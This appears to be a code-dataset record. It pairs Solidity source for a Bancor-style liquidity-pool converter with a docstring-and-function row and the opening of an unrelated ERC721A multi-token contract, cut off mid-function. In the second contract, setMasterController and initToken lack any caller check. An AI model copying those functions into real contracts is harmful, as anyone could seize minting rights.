_reserveToken == NATIVE_TOKEN_ADDRESS ? address(this).balance : _reserveToken.balanceOf(address(this));
setReserveBalance(reserveId, balance);
}
/**
* @dev syncs all stored reserve balances, excluding a given amount of ether from the ether reserve balance (if relevant)
*
* @param _value amount of ether to exclude from the ether reserve balance (if relevant)
*/
function syncReserveBalances(uint256 _value) internal {
IERC20 _reserveToken0 = __reserveTokens[0];
IERC20 _reserveToken1 = __reserveTokens[1];
uint256 balance0 =
_reserveToken0 == NATIVE_TOKEN_ADDRESS
? address(this).balance - _value
: _reserveToken0.balanceOf(address(this));
uint256 balance1 =
_reserveToken1 == NATIVE_TOKEN_ADDRESS
? address(this).balance - _value
: _reserveToken1.balanceOf(address(this));
setReserveBalances(1, 2, balance0, balance1);
}
/**
* @dev helper, dispatches the Conversion event
*
* @param _sourceToken source ERC20 token
* @param _targetToken target ERC20 token
* @param _trader address of the caller who executed the conversion
* @param _amount amount purchased/sold (in the source token)
* @param _returnAmount amount returned (in the target token)
*/
function dispatchConversionEvent(
IERC20 _sourceToken,
IERC20 _targetToken,
address _trader,
uint256 _amount,
uint256 _returnAmount,
uint256 _feeAmount
) internal {
emit Conversion(_sourceToken, _targetToken, _trader, _amount, _returnAmount, int256(_feeAmount));
}
/**
* @dev returns the expected amount and expected fee for converting one reserve to another
*
* @param _sourceToken address of the source reserve token contract
* @param _targetToken address of the target reserve token contract
* @param _amount amount of source reserve tokens converted
*
* @return expected amount in units of the target reserve token
* @return expected fee in units of the target reserve token
*/
function targetAmountAndFee(
IERC20 _sourceToken,
IERC20 _targetToken,
uint256 _amount
) public view virtual override active returns (uint256, uint256) {
uint256 sourceId = __reserveIds[_sourceToken];
uint256 targetId = __reserveIds[_targetToken];
(uint256 sourceBalance, uint256 targetBalance) = reserveBalances(sourceId, targetId);
return targetAmountAndFee(_sourceToken, _targetToken, sourceBalance, targetBalance, _amount);
}
/**
* @dev returns the expected amount and expected fee for converting one reserve to another
*
* @param _sourceBalance balance in the source reserve token contract
* @param _targetBalance balance in the target reserve token contract
* @param _amount amount of source reserve tokens converted
*
* @return expected amount in units of the target reserve token
* @return expected fee in units of the target reserve token
*/
function targetAmountAndFee(
IERC20, /* _sourceToken */
IERC20, /* _targetToken */
uint256 _sourceBalance,
uint256 _targetBalance,
uint256 _amount
) internal view virtual returns (uint256, uint256) {
uint256 amount = crossReserveTargetAmount(_sourceBalance, _targetBalance, _amount);
uint256 fee = calculateFee(amount);
return (amount - fee, fee);
}
/**
* @dev returns the required amount and expected fee for converting one reserve to another
*
* @param _sourceToken address of the source reserve token contract
* @param _targetToken address of the target reserve token contract
* @param _amount amount of target reserve tokens desired
*
* @return required amount in units of the source reserve token
* @return expected fee in units of the target reserve token
*/
function sourceAmountAndFee(
IERC20 _sourceToken,
IERC20 _targetToken,
uint256 _amount
) public view virtual active returns (uint256, uint256) {
uint256 sourceId = __reserveIds[_sourceToken];
uint256 targetId = __reserveIds[_targetToken];
(uint256 sourceBalance, uint256 targetBalance) = reserveBalances(sourceId, targetId);
uint256 fee = calculateFeeInv(_amount);
uint256 amount = crossReserveSourceAmount(sourceBalance, targetBalance, _amount.add(fee));
return (amount, fee);
}
/**
* @dev converts a specific amount of source tokens to target tokens
*
* @param _sourceToken source ERC20 token
* @param _targetToken target ERC20 token
* @param _amount amount of tokens to convert (in units of the source token)
* @param _trader address of the caller who executed the conversion
* @param _beneficiary wallet to receive the conversion result
*
* @return amount of tokens received (in units of the target token)
*/
function doConvert(
IERC20 _sourceToken,
IERC20 _targetToken,
uint256 _amount,
address _trader,
address payable _beneficiary
) internal returns (uint256) {
// update the recent average rate
updateRecentAverageRate();
uint256 sourceId = __reserveIds[_sourceToken];
uint256 targetId = __reserveIds[_targetToken];
(uint256 sourceBalance, uint256 targetBalance) = reserveBalances(sourceId, targetId);
// get the target amount minus the conversion fee and the conversion fee
(uint256 amount, uint256 fee) =
targetAmountAndFee(_sourceToken, _targetToken, sourceBalance, targetBalance, _amount);
// ensure that the trade gives something in return
require(amount != 0, "ERR_ZERO_TARGET_AMOUNT");
// ensure that the trade won't deplete the reserve balance
assert(amount < targetBalance);
// ensure that the input amount was already deposited
uint256 actualSourceBalance;
if (_sourceToken == NATIVE_TOKEN_ADDRESS) {
actualSourceBalance = address(this).balance;
require(msg.value == _amount, "ERR_ETH_AMOUNT_MISMATCH");
} else {
actualSourceBalance = _sourceToken.balanceOf(address(this));
require(msg.value == 0 && actualSourceBalance.sub(sourceBalance) >= _amount, "ERR_INVALID_AMOUNT");
}
// sync the reserve balances
setReserveBalances(sourceId, targetId, actualSourceBalance, targetBalance - amount);
// transfer funds to the beneficiary in the to reserve token
safeTransfer(_targetToken, _beneficiary, amount);
// dispatch the conversion event
dispatchConversionEvent(_sourceToken, _targetToken, _trader, _amount, amount, fee);
// dispatch rate updates
dispatchTokenRateUpdateEvents(_sourceToken, _targetToken, actualSourceBalance, targetBalance - amount);
return amount;
}
/**
* @dev returns the recent average rate of 1 `_token` in the other reserve token units
*
* @param _token token to get the rate for
*
* @return recent average rate between the reserves (numerator)
* @return recent average rate between the reserves (denominator)
*/
function recentAverageRate(IERC20 _token) external view validReserve(_token) returns (uint256, uint256) {
// get the recent average rate of reserve 0
uint256 rate = calcRecentAverageRate(averageRateInfo);
uint256 rateN = decodeAverageRateN(rate);
uint256 rateD = decodeAverageRateD(rate);
if (_token == __reserveTokens[0]) {
return (rateN, rateD);
}
return (rateD, rateN);
}
/**
* @dev updates the recent average rate if needed
*/
function updateRecentAverageRate() internal {
uint256 averageRateInfo1 = averageRateInfo;
uint256 averageRateInfo2 = calcRecentAverageRate(averageRateInfo1);
if (averageRateInfo1 != averageRateInfo2) {
averageRateInfo = averageRateInfo2;
}
}
/**
* @dev returns the recent average rate of 1 reserve token 0 in reserve token 1 units
*
* @param _averageRateInfo a local copy of the `averageRateInfo` state-variable
*
* @return recent average rate between the reserves
*/
function calcRecentAverageRate(uint256 _averageRateInfo) internal view returns (uint256) {
// get the previous average rate and its update-time
uint256 prevAverageRateT = decodeAverageRateT(_averageRateInfo);
uint256 prevAverageRateN = decodeAverageRateN(_averageRateInfo);
uint256 prevAverageRateD = decodeAverageRateD(_averageRateInfo);
// get the elapsed time since the previous average rate was calculated
uint256 currentTime = time();
uint256 timeElapsed = currentTime - prevAverageRateT;
// if the previous average rate was calculated in the current block, the average rate remains unchanged
if (timeElapsed == 0) {
return _averageRateInfo;
}
// get the current rate between the reserves
(uint256 currentRateD, uint256 currentRateN) = reserveBalances();
// if the previous average rate was calculated a while ago or never, the average rate is equal to the current rate
if (timeElapsed >= AVERAGE_RATE_PERIOD || prevAverageRateT == 0) {
(currentRateN, currentRateD) = MathEx.reducedRatio(currentRateN, currentRateD, MAX_UINT112);
return encodeAverageRateInfo(currentTime, currentRateN, currentRateD);
}
uint256 x = prevAverageRateD.mul(currentRateN);
uint256 y = prevAverageRateN.mul(currentRateD);
// since we know that timeElapsed < AVERAGE_RATE_PERIOD, we can avoid using SafeMath:
uint256 newRateN = y.mul(AVERAGE_RATE_PERIOD - timeElapsed).add(x.mul(timeElapsed));
uint256 newRateD = prevAverageRateD.mul(currentRateD).mul(AVERAGE_RATE_PERIOD);
(newRateN, newRateD) = MathEx.reducedRatio(newRateN, newRateD, MAX_UINT112);
return encodeAverageRateInfo(currentTime, newRateN, newRateD);
}
/**
* @dev increases the pool's liquidity and mints new shares in the pool to the caller
*
* @param _reserveTokens address of each reserve token
* @param _reserveAmounts amount of each reserve token
* @param _minReturn token minimum return-amount
*
* @return amount of pool tokens issued
*/
function addLiquidity(
IERC20[] memory _reserveTokens,
uint256[] memory _reserveAmounts,
uint256 _minReturn
) public payable protected active returns (uint256) {
// verify the user input
verifyLiquidityInput(_reserveTokens, _reserveAmounts, _minReturn);
// if one of the reserves is ETH, then verify that the input amount of ETH is equal to the input value of ETH
for (uint256 i = 0; i < 2; i++) {
if (_reserveTokens[i] == NATIVE_TOKEN_ADDRESS) {
require(_reserveAmounts[i] == msg.value, "ERR_ETH_AMOUNT_MISMATCH");
}
}
// if the input value of ETH is larger than zero, then verify that one of the reserves is ETH
if (msg.value > 0) {
require(__reserveIds[NATIVE_TOKEN_ADDRESS] != 0, "ERR_NO_ETH_RESERVE");
}
// save a local copy of the pool token
IDSToken poolToken = IDSToken(address(anchor));
// get the total supply
uint256 totalSupply = poolToken.totalSupply();
uint256[2] memory prevReserveBalances;
uint256[2] memory newReserveBalances;
// process the network fees and get the reserve balances
(prevReserveBalances[0], prevReserveBalances[1]) = processNetworkFees(msg.value);
uint256 amount;
uint256[2] memory reserveAmounts;
// calculate the amount of pool tokens to mint for the caller
// and the amount of reserve tokens to transfer from the caller
if (totalSupply == 0) {
amount = MathEx.geometricMean(_reserveAmounts);
reserveAmounts[0] = _reserveAmounts[0];
reserveAmounts[1] = _reserveAmounts[1];
} else {
(amount, reserveAmounts) = addLiquidityAmounts(
_reserveTokens,
_reserveAmounts,
prevReserveBalances,
totalSupply
);
}
uint256 newPoolTokenSupply = totalSupply.add(amount);
for (uint256 i = 0; i < 2; i++) {
IERC20 reserveToken = _reserveTokens[i];
uint256 reserveAmount = reserveAmounts[i];
require(reserveAmount > 0, "ERR_ZERO_TARGET_AMOUNT");
assert(reserveAmount <= _reserveAmounts[i]);
// transfer each one of the reserve amounts from the user to the pool
if (reserveToken != NATIVE_TOKEN_ADDRESS) {
// ETH has already been transferred as part of the transaction
reserveToken.safeTransferFrom(msg.sender, address(this), reserveAmount);
} else if (_reserveAmounts[i] > reserveAmount) {
// transfer the extra amount of ETH back to the user
msg.sender.transfer(_reserveAmounts[i] - reserveAmount);
}
// save the new reserve balance
newReserveBalances[i] = prevReserveBalances[i].add(reserveAmount);
emit LiquidityAdded(msg.sender, reserveToken, reserveAmount, newReserveBalances[i], newPoolTokenSupply);
// dispatch the `TokenRateUpdate` event for the pool token
emit TokenRateUpdate(poolToken, reserveToken, newReserveBalances[i], newPoolTokenSupply);
}
// set the reserve balances
setReserveBalances(1, 2, newReserveBalances[0], newReserveBalances[1]);
// set the reserve balances product
_reserveBalancesProduct = newReserveBalances[0] * newReserveBalances[1];
// verify that the equivalent amount of tokens is equal to or larger than the user's expectation
require(amount >= _minReturn, "ERR_RETURN_TOO_LOW");
// issue the tokens to the user
poolToken.issue(msg.sender, amount);
// return the amount of pool tokens issued
return amount;
}
/**
* @dev get the amount of pool tokens to mint for the caller
* and the amount of reserve tokens to transfer from the caller
*
* @param _reserveAmounts amount of each reserve token
* @param _reserveBalances balance of each reserve token
* @param _totalSupply total supply of pool tokens
*
* @return amount of pool tokens to mint for the caller
* @return amount of reserve tokens to transfer from the caller
*/
function addLiquidityAmounts(
IERC20[] memory, /* _reserveTokens */
uint256[] memory _reserveAmounts,
uint256[2] memory _reserveBalances,
uint256 _totalSupply
) internal view virtual returns (uint256, uint256[2] memory) {
this;
uint256 index =
_reserveAmounts[0].mul(_reserveBalances[1]) < _reserveAmounts[1].mul(_reserveBalances[0]) ? 0 : 1;
uint256 amount = fundSupplyAmount(_totalSupply, _reserveBalances[index], _reserveAmounts[index]);
uint256[2] memory reserveAmounts =
[fundCost(_totalSupply, _reserveBalances[0], amount), fundCost(_totalSupply, _reserveBalances[1], amount)];
return (amount, reserveAmounts);
}
/**
* @dev decreases the pool's liquidity and burns the caller's shares in the pool
*
* @param _amount token amount
* @param _reserveTokens address of each reserve token
* @param _reserveMinReturnAmounts minimum return-amount of each reserve token
*
* @return the amount of each reserve token granted for the given amount of pool tokens
*/
function removeLiquidity(
uint256 _amount,
IERC20[] memory _reserveTokens,
uint256[] memory _reserveMinReturnAmounts
) public protected active returns (uint256[] memory) {
// verify the user input
bool inputRearranged = verifyLiquidityInput(_reserveTokens, _reserveMinReturnAmounts, _amount);
// save a local copy of the pool token
IDSToken poolToken = IDSToken(address(anchor));
// get the total supply BEFORE destroying the user tokens
uint256 totalSupply = poolToken.totalSupply();
// destroy the user tokens
poolToken.destroy(msg.sender, _amount);
uint256 newPoolTokenSupply = totalSupply.sub(_amount);
uint256[2] memory prevReserveBalances;
uint256[2] memory newReserveBalances;
// process the network fees and get the reserve balances
(prevReserveBalances[0], prevReserveBalances[1]) = processNetworkFees(0);
uint256[] memory reserveAmounts = removeLiquidityReserveAmounts(_amount, totalSupply, prevReserveBalances);
for (uint256 i = 0; i < 2; i++) {
IERC20 reserveToken = _reserveTokens[i];
uint256 reserveAmount = reserveAmounts[i];
require(reserveAmount >= _reserveMinReturnAmounts[i], "ERR_ZERO_TARGET_AMOUNT");
// save the new reserve balance
newReserveBalances[i] = prevReserveBalances[i].sub(reserveAmount);
// transfer each one of the reserve amounts from the pool to the user
safeTransfer(reserveToken, msg.sender, reserveAmount);
emit LiquidityRemoved(msg.sender, reserveToken, reserveAmount, newReserveBalances[i], newPoolTokenSupply);
// dispatch the `TokenRateUpdate` event for the pool token
emit TokenRateUpdate(poolToken, reserveToken, newReserveBalances[i], newPoolTokenSupply);
}
// set the reserve balances
setReserveBalances(1, 2, newReserveBalances[0], newReserveBalances[1]);
// set the reserve balances product
_reserveBalancesProduct = newReserveBalances[0] * newReserveBalances[1];
if (inputRearranged) {
uint256 tempReserveAmount = reserveAmounts[0];
reserveAmounts[0] = reserveAmounts[1];
reserveAmounts[1] = tempReserveAmount;
}
// return the amount of each reserve token granted for the given amount of pool tokens
return reserveAmounts;
}
/**
* @dev given the amount of one of the reserve tokens to add liquidity of,
* returns the required amount of each one of the other reserve tokens
* since an empty pool can be funded with any list of non-zero input amounts,
* this function assumes that the pool is not empty (has already been funded)
*
* @param _reserveTokens address of each reserve token
* @param _reserveTokenIndex index of the relevant reserve token
* @param _reserveAmount amount of the relevant reserve token
*
* @return the required amount of each one of the reserve tokens
*/
function addLiquidityCost(
IERC20[] memory _reserveTokens,
uint256 _reserveTokenIndex,
uint256 _reserveAmount
) public view returns (uint256[] memory) {
uint256 totalSupply = IDSToken(address(anchor)).totalSupply();
uint256[2] memory baseBalances = baseReserveBalances(_reserveTokens);
uint256 amount = fundSupplyAmount(totalSupply, baseBalances[_reserveTokenIndex], _reserveAmount);
uint256[] memory reserveAmounts = new uint256[](2);
reserveAmounts[0] = fundCost(totalSupply, baseBalances[0], amount);
reserveAmounts[1] = fundCost(totalSupply, baseBalances[1], amount);
return reserveAmounts;
}
/**
* @dev returns the amount of pool tokens entitled for given amounts of reserve tokens
* since an empty pool can be funded with any list of non-zero input amounts,
* this function assumes that the pool is not empty (has already been funded)
*
* @param _reserveTokens address of each reserve token
* @param _reserveAmounts amount of each reserve token
*
* @return the amount of pool tokens entitled for the given amounts of reserve tokens
*/
function addLiquidityReturn(IERC20[] memory _reserveTokens, uint256[] memory _reserveAmounts)
public
view
returns (uint256)
{
uint256 totalSupply = IDSToken(address(anchor)).totalSupply();
uint256[2] memory baseBalances = baseReserveBalances(_reserveTokens);
(uint256 amount, ) = addLiquidityAmounts(_reserveTokens, _reserveAmounts, baseBalances, totalSupply);
return amount;
}
/**
* @dev returns the amount of each reserve token entitled for a given amount of pool tokens
*
* @param _amount amount of pool tokens
* @param _reserveTokens address of each reserve token
*
* @return the amount of each reserve token entitled for the given amount of pool tokens
*/
function removeLiquidityReturn(uint256 _amount, IERC20[] memory _reserveTokens)
public
view
returns (uint256[] memory)
{
uint256 totalSupply = IDSToken(address(anchor)).totalSupply();
uint256[2] memory baseBalances = baseReserveBalances(_reserveTokens);
return removeLiquidityReserveAmounts(_amount, totalSupply, baseBalances);
}
/**
* @dev verifies that a given array of tokens is identical to the converter's array of reserve tokens
* we take this input in order to allow specifying the corresponding reserve amounts in any order
* this function rearranges the input arrays according to the converter's array of reserve tokens
*
* @param _reserveTokens array of reserve tokens
* @param _reserveAmounts array of reserve amounts
* @param _amount token amount
*
* @return true if the function has rearranged the input arrays; false otherwise
*/
function verifyLiquidityInput(
IERC20[] memory _reserveTokens,
uint256[] memory _reserveAmounts,
uint256 _amount
) private view returns (bool) {
require(validReserveAmounts(_reserveAmounts) && _amount > 0, "ERR_ZERO_AMOUNT");
uint256 reserve0Id = __reserveIds[_reserveTokens[0]];
uint256 reserve1Id = __reserveIds[_reserveTokens[1]];
if (reserve0Id == 2 && reserve1Id == 1) {
IERC20 tempReserveToken = _reserveTokens[0];
_reserveTokens[0] = _reserveTokens[1];
_reserveTokens[1] = tempReserveToken;
uint256 tempReserveAmount = _reserveAmounts[0];
_reserveAmounts[0] = _reserveAmounts[1];
_reserveAmounts[1] = tempReserveAmount;
return true;
}
require(reserve0Id == 1 && reserve1Id == 2, "ERR_INVALID_RESERVE");
return false;
}
/**
* @dev checks whether or not both reserve amounts are larger than zero
*
* @param _reserveAmounts array of reserve amounts
*
* @return true if both reserve amounts are larger than zero; false otherwise
*/
function validReserveAmounts(uint256[] memory _reserveAmounts) internal pure virtual returns (bool) {
return _reserveAmounts[0] > 0 && _reserveAmounts[1] > 0;
}
/**
* @dev returns the amount of each reserve token entitled for a given amount of pool tokens
*
* @param _amount amount of pool tokens
* @param _totalSupply total supply of pool tokens
* @param _reserveBalances balance of each reserve token
*
* @return the amount of each reserve token entitled for the given amount of pool tokens
*/
function removeLiquidityReserveAmounts(
uint256 _amount,
uint256 _totalSupply,
uint256[2] memory _reserveBalances
) private pure returns (uint256[] memory) {
uint256[] memory reserveAmounts = new uint256[](2);
reserveAmounts[0] = liquidateReserveAmount(_totalSupply, _reserveBalances[0], _amount);
reserveAmounts[1] = liquidateReserveAmount(_totalSupply, _reserveBalances[1], _amount);
return reserveAmounts;
}
/**
* @dev dispatches token rate update events for the reserve tokens and the pool token
*
* @param _sourceToken address of the source reserve token
* @param _targetToken address of the target reserve token
* @param _sourceBalance balance of the source reserve token
* @param _targetBalance balance of the target reserve token
*/
function dispatchTokenRateUpdateEvents(
IERC20 _sourceToken,
IERC20 _targetToken,
uint256 _sourceBalance,
uint256 _targetBalance
) private {
// save a local copy of the pool token
IDSToken poolToken = IDSToken(address(anchor));
// get the total supply of pool tokens
uint256 poolTokenSupply = poolToken.totalSupply();
// dispatch token rate update event for the reserve tokens
emit TokenRateUpdate(_sourceToken, _targetToken, _targetBalance, _sourceBalance);
// dispatch token rate update events for the pool token
emit TokenRateUpdate(poolToken, _sourceToken, _sourceBalance, poolTokenSupply);
emit TokenRateUpdate(poolToken, _targetToken, _targetBalance, poolTokenSupply);
}
function encodeReserveBalance(uint256 _balance, uint256 _id) private pure returns (uint256) {
assert(_balance <= MAX_UINT128 && (_id == 1 || _id == 2));
return _balance << ((_id - 1) * 128);
}
function decodeReserveBalance(uint256 _balances, uint256 _id) private pure returns (uint256) {
assert(_id == 1 || _id == 2);
return (_balances >> ((_id - 1) * 128)) & MAX_UINT128;
}
function encodeReserveBalances(
uint256 _balance0,
uint256 _id0,
uint256 _balance1,
uint256 _id1
) private pure returns (uint256) {
return encodeReserveBalance(_balance0, _id0) | encodeReserveBalance(_balance1, _id1);
}
function decodeReserveBalances(
uint256 _balances,
uint256 _id0,
uint256 _id1
) private pure returns (uint256, uint256) {
return (decodeReserveBalance(_balances, _id0), decodeReserveBalance(_balances, _id1));
}
function encodeAverageRateInfo(
uint256 _averageRateT,
uint256 _averageRateN,
uint256 _averageRateD
) private pure returns (uint256) {
assert(_averageRateT <= MAX_UINT32 && _averageRateN <= MAX_UINT112 && _averageRateD <= MAX_UINT112);
return (_averageRateT << 224) | (_averageRateN << 112) | _averageRateD;
}
function decodeAverageRateT(uint256 _averageRateInfo) private pure returns (uint256) {
return _averageRateInfo >> 224;
}
function decodeAverageRateN(uint256 _averageRateInfo) private pure returns (uint256) {
return (_averageRateInfo >> 112) & MAX_UINT112;
}
function decodeAverageRateD(uint256 _averageRateInfo) private pure returns (uint256) {
return _averageRateInfo & MAX_UINT112;
}
/**
* @dev returns the largest integer smaller than or equal to the square root of a given value
*
* @param x the given value
*
* @return the largest integer smaller than or equal to the square root of the given value
*/
function floorSqrt(uint256 x) private pure returns (uint256) {
return x > 0 ? MathEx.floorSqrt(x) : 0;
}
function crossReserveTargetAmount(
uint256 _sourceReserveBalance,
uint256 _targetReserveBalance,
uint256 _amount
) private pure returns (uint256) {
// validate input
require(_sourceReserveBalance > 0 && _targetReserveBalance > 0, "ERR_INVALID_RESERVE_BALANCE");
return _targetReserveBalance.mul(_amount) / _sourceReserveBalance.add(_amount);
}
function crossReserveSourceAmount(
uint256 _sourceReserveBalance,
uint256 _targetReserveBalance,
uint256 _amount
) private pure returns (uint256) {
// validate input
require(_sourceReserveBalance > 0, "ERR_INVALID_RESERVE_BALANCE");
require(_amount < _targetReserveBalance, "ERR_INVALID_AMOUNT");
if (_amount == 0) {
return 0;
}
return (_sourceReserveBalance.mul(_amount) - 1) / (_targetReserveBalance - _amount) + 1;
}
function fundCost(
uint256 _supply,
uint256 _reserveBalance,
uint256 _amount
) private pure returns (uint256) {
// validate input
require(_supply > 0, "ERR_INVALID_SUPPLY");
require(_reserveBalance > 0, "ERR_INVALID_RESERVE_BALANCE");
// special case for 0 amount
if (_amount == 0) {
return 0;
}
return (_amount.mul(_reserveBalance) - 1) / _supply + 1;
}
function fundSupplyAmount(
uint256 _supply,
uint256 _reserveBalance,
uint256 _amount
) private pure returns (uint256) {
// validate input
require(_supply > 0, "ERR_INVALID_SUPPLY");
require(_reserveBalance > 0, "ERR_INVALID_RESERVE_BALANCE");
// special case for 0 amount
if (_amount == 0) {
return 0;
}
return _amount.mul(_supply) / _reserveBalance;
}
function liquidateReserveAmount(
uint256 _supply,
uint256 _reserveBalance,
uint256 _amount
) private pure returns (uint256) {
// validate input
require(_supply > 0, "ERR_INVALID_SUPPLY");
require(_reserveBalance > 0, "ERR_INVALID_RESERVE_BALANCE");
require(_amount <= _supply, "ERR_INVALID_AMOUNT");
// special case for 0 amount
if (_amount == 0) {
return 0;
}
// special case for liquidating the entire supply
if (_amount == _supply) {
return _reserveBalance;
}
return _amount.mul(_reserveBalance) / _supply;
}
/**
* @dev returns the network wallet and fees
*
* @param reserveBalance0 1st reserve balance
* @param reserveBalance1 2nd reserve balance
*
* @return the network wallet
* @return the network fee on the 1st reserve
* @return the network fee on the 2nd reserve
*/
function networkWalletAndFees(uint256 reserveBalance0, uint256 reserveBalance1)
private
view
returns (
ITokenHolder,
uint256,
uint256
)
{
uint256 prevPoint = floorSqrt(_reserveBalancesProduct);
uint256 currPoint = floorSqrt(reserveBalance0 * reserveBalance1);
if (prevPoint >= currPoint) {
return (ITokenHolder(address(0)), 0, 0);
}
(ITokenHolder networkFeeWallet, uint32 networkFee) =
INetworkSettings(addressOf(NETWORK_SETTINGS)).networkFeeParams();
uint256 n = (currPoint - prevPoint) * networkFee;
uint256 d = currPoint * PPM_RESOLUTION;
return (networkFeeWallet, reserveBalance0.mul(n).div(d), reserveBalance1.mul(n).div(d));
}
/**
* @dev transfers funds held by the contract and sends them to an account
*
* @param token ERC20 token contract address
* @param to account to receive the new amount
* @param amount amount to withdraw
*/
function safeTransfer(
IERC20 token,
address to,
uint256 amount
) private {
if (amount == 0) {
return;
}
if (token == NATIVE_TOKEN_ADDRESS) {
payable(to).transfer(amount);
} else {
token.safeTransfer(to, amount);
}
}
/**
* @dev deprecated since version 28, backward compatibility - use only for earlier versions
*/
function token() public view override returns (IConverterAnchor) {
return anchor;
}
/**
* @dev deprecated, backward compatibility
*/
function transferTokenOwnership(address _newOwner) public override ownerOnly {
transferAnchorOwnership(_newOwner);
}
/**
* @dev deprecated, backward compatibility
*/
function acceptTokenOwnership() public override ownerOnly {
acceptAnchorOwnership();
}
/**
* @dev deprecated, backward compatibility
*/
function connectors(IERC20 _address)
public
view
override
returns (
uint256,
uint32,
bool,
bool,
bool
)
{
uint256 reserveId = __reserveIds[_address];
if (reserveId != 0) {
return (reserveBalance(reserveId), PPM_RESOLUTION / 2, false, false, true);
}
return (0, 0, false, false, false);
}
/**
* @dev deprecated, backward compatibility
*/
function connectorTokens(uint256 _index) public view override returns (IERC20) {
return __reserveTokens[_index];
}
/**
* @dev deprecated, backward compatibility
*/
function connectorTokenCount() public view override returns (uint16) {
return reserveTokenCount();
}
/**
* @dev deprecated, backward compatibility
*/
function getConnectorBalance(IERC20 _connectorToken) public view override returns (uint256) {
return reserveBalance(_connectorToken);
}
/**
* @dev deprecated, backward compatibility
*/
function getReturn(
IERC20 _sourceToken,
IERC20 _targetToken,
uint256 _amount
) public view returns (uint256, uint256) {
return targetAmountAndFee(_sourceToken, _targetToken, _amount);
}
}
// File: solidity/contracts/converter/interfaces/ITypedConverterFactory.sol
pragma solidity 0.6.12;
/*
Typed Converter Factory interface
*/
interface ITypedConverterFactory {
function converterType() external pure returns (uint16);
function createConverter(
IConverterAnchor _anchor,
IContractRegistry _registry,
uint32 _maxConversionFee
) external returns (IConverter);
}
// File: solidity/contracts/converter/types/standard-pool/StandardPoolConverterFactory.sol
pragma solidity 0.6.12;
/*
StandardPoolConverter Factory
*/
contract StandardPoolConverterFactory is ITypedConverterFactory {
/**
* @dev returns the converter type the factory is associated with
*
* @return converter type
*/
function converterType() external pure override returns (uint16) {
return 3;
}
/**
* @dev creates a new converter with the given arguments and transfers
* the ownership to the caller
*
* @param _anchor anchor governed by the converter
* @param _registry address of a contract registry contract
* @param _maxConversionFee maximum conversion fee, represented in ppm
*
* @return a new converter
*/
function createConverter(
IConverterAnchor _anchor,
IContractRegistry _registry,
uint32 _maxConversionFee
) external virtual override returns (IConverter) {
IConverter converter = new StandardPoolConverter(IDSToken(address(_anchor)), _registry, _maxConversionFee);
converter.transferOwnership(msg.sender);
return converter;
}
}
|
* @dev returns the conversion fee for a given target amount @param _targetAmount target amount @return conversion fee/
|
function calculateFee(uint256 _targetAmount) internal view returns (uint256) {
return _targetAmount.mul(conversionFee) / PPM_RESOLUTION;
}
| 1,736,000
|
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
// the erc1155 base contract - the openzeppelin erc1155
import "../token/ERC721A/ERC721A.sol";
import "../royalties/ERC2981.sol";
import "../utils/AddressSet.sol";
import "../utils/UInt256Set.sol";
import "./ProxyRegistry.sol";
import "../access/Controllable.sol";
import "../interfaces/IMultiToken.sol";
import "../interfaces/IERC1155Mint.sol";
import "../interfaces/IERC1155Burn.sol";
import "../interfaces/IERC1155Multinetwork.sol";
import "../interfaces/IERC1155Bridge.sol";
import "../service/Service.sol";
import "../factories/FactoryElement.sol";
/**
* @title MultiToken
* @notice the multitoken contract. All tokens are printed on this contract. The token has all the capabilities
* of an erc1155 contract, plus network transfer, royallty tracking and assignment and other features.
*/
contract MultiToken721 is
ERC721A,
ProxyRegistryManager,
IERC1155Multinetwork,
IMultiToken,
ERC2981,
Service,
Controllable,
Initializable,
FactoryElement
{
// to work with token holder and held token lists
using AddressSet for AddressSet.Set;
using UInt256Set for UInt256Set.Set;
using Strings for uint256;
address internal masterMinter;
string internal _uri;
function initialize(address registry) public initializer {
_addController(msg.sender);
_serviceRegistry = registry;
}
function initToken(string memory symbol, string memory name) public {
_initToken(symbol, name);
}
function setMasterController(address _masterMinter) public {
require(masterMinter == address(0), "master minter must not be set");
masterMinter = _masterMinter;
_addController(_masterMinter);
}
function addDirectMinter(address directMinter) public {
require(msg.sender == masterMinter, "only master minter can add direct minters");
_addController(directMinter);
}
/// @notice only allow owner of the contract
modifier onlyOwner() {
require(_isController(msg.sender), "You shall not pass");
_;
}
/// @notice only allow owner of the contract
modifier onlyMinter() {
require(_isController(msg.sender) || masterMinter == msg.sender, "You shall not pass");
_;
}
/// @notice Mint a specified amount the specified token hash to the specified receiver
/// @param recipient the address of the receiver
/// @param amount the amount to mint
function mint(
address recipient,
uint256,
uint256 amount
) external override onlyMinter {
_mint(recipient, amount, "", true);
}
/// @notice mint tokens of specified amount to the specified address
/// @param recipient the mint target
/// @param amount the amount to mint
function mintWithCommonUri(
address recipient,
uint256,
uint256 amount,
uint256
) external onlyMinter {
_mint(recipient, amount, "", true);
}
string internal baseUri;
function setBaseURI(string memory value) external onlyMinter {
baseUri = value;
}
function baseURI() external view returns (string memory) {
return _baseURI();
}
function _baseURI() internal view virtual override returns (string memory) {
return baseUri;
}
/// @notice burn a specified amount of the specified token hash from the specified target
/// @param tokenHash the token id to burn
function burn(
address,
uint256 tokenHash,
uint256
) external override onlyMinter {
_burn(tokenHash);
}
/// @notice override base functionality to check proxy registries for approvers
/// @param _owner the owner address
/// @param _operator the operator address
/// @return isOperator true if the owner is an approver for the operator
function isApprovedForAll(address _owner, address _operator)
public
view
override
returns (bool isOperator) {
// check proxy whitelist
bool _approved = _isApprovedForAll(_owner, _operator);
return _approved || ERC721A.isApprovedForAll(_owner, _operator);
}
/// @notice See {IERC165-supportsInterface}. ERC165 implementor. identifies this contract as an ERC1155
/// @param interfaceId the interface id to check
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC2981, ERC721A) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
super.supportsInterface(interfaceId);
}
/// @notice perform a network token transfer. Transfer the specified quantity of the specified token hash to the destination address on the destination network.
function networkTransferFrom(
address from,
address to,
uint256 network,
uint256 id,
uint256 amount,
bytes calldata data
) external virtual override {
address _bridge = IJanusRegistry(_serviceRegistry).get("MultiToken", "NetworkBridge");
require(_bridge != address(0), "No network bridge found");
// call the network transfer on the bridge
IERC1155Multinetwork(_bridge).networkTransferFrom(from, to, network, id, amount, data);
}
mapping(uint256 => string) internal symbolsOf;
mapping(uint256 => string) internal namesOf;
function symbolOf(uint256 _tokenId) external view override returns (string memory out) {
return symbolsOf[_tokenId];
}
function nameOf(uint256 _tokenId) external view override returns (string memory out) {
return namesOf[_tokenId];
}
function setSymbolOf(uint256 _tokenId, string memory _symbolOf) external onlyMinter {
